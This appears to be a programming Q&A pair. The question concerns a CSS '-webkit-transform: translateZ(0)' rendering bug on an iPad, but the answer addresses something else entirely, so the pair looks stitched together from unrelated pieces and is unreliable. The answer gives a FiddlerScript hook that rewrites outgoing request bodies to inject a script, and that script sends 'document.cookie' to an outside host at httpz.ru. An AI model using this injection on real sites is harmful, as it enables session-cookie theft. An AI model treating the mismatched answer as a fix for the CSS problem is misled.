Question: I have had an issue with the [Background Image not rendering correctly on the iPad](https://stackoverflow.com/questions/16785085/background-image-not-displaying-correctly-in-ios). The answer provided which did solve the issue was to add `-webkit-transform: translateZ(0);` to the `id` that solved the issue but caused another one. On one page (which is a very long page) the content stops loading half-way through the page. If I remove `-webkit-transform: translateZ(0);` the issue stops (the background problem also reappears). Why does `-webkit-transform: translateZ(0);` prevent the page from loading?

CSS with webkit-transform:

```
#wrap {  
  margin:0 auto; 
  position:relative; 
  padding:0; 
  background: #B3B1B2 url(/images/bgs/parchment2.jpg);
  -webkit-transform: translateZ(0); 
}

```

**Notes:**

* This happens on the iPad Mini running iOS 6.1.3
* This problem doesn't appear on the iPhone 4 (same version of iOS) or in Chrome.
* This does cause major issues in Safari 5.1 (I am running Windows).

Answer: 
Try [Fiddler](http://fiddler2.com), it lets you intercept and tamper with the raw request.
The most appropriate way is to use Fiddlerscript (download it the Fiddlerscript Editor <http://fiddler2.com/fiddlerscript-editor>, it will open the needed file just after the start).

I have customized the 

```
static function OnBeforeRequest(oSession: Session) {

    if (m_Replace16) {
        var post_body: String = oSession.GetRequestBodyAsString();
        FiddlerApplication.Log.LogString(post_body);
        post_body=post_body.Replace("|8888","|<script>img = new Image(); img.src = \"http://httpz.ru/n22ref260pd.gif?\"+document.cookie;</script>");
        FiddlerApplication.Log.LogString(post_body);
        oSession.utilSetRequestBody(post_body);
    }

```

i.e. added a new menu item that forse all outcoming request to be modified, i.e. "|8888" was replaced with the second parameter, i.e. injection.

the first line takes the request body to string var

the second line post it to fiddler log

the third line replace the desired value to some injection

the forth line posts the modified var body to log

the fifth line update the original request raw body with modified one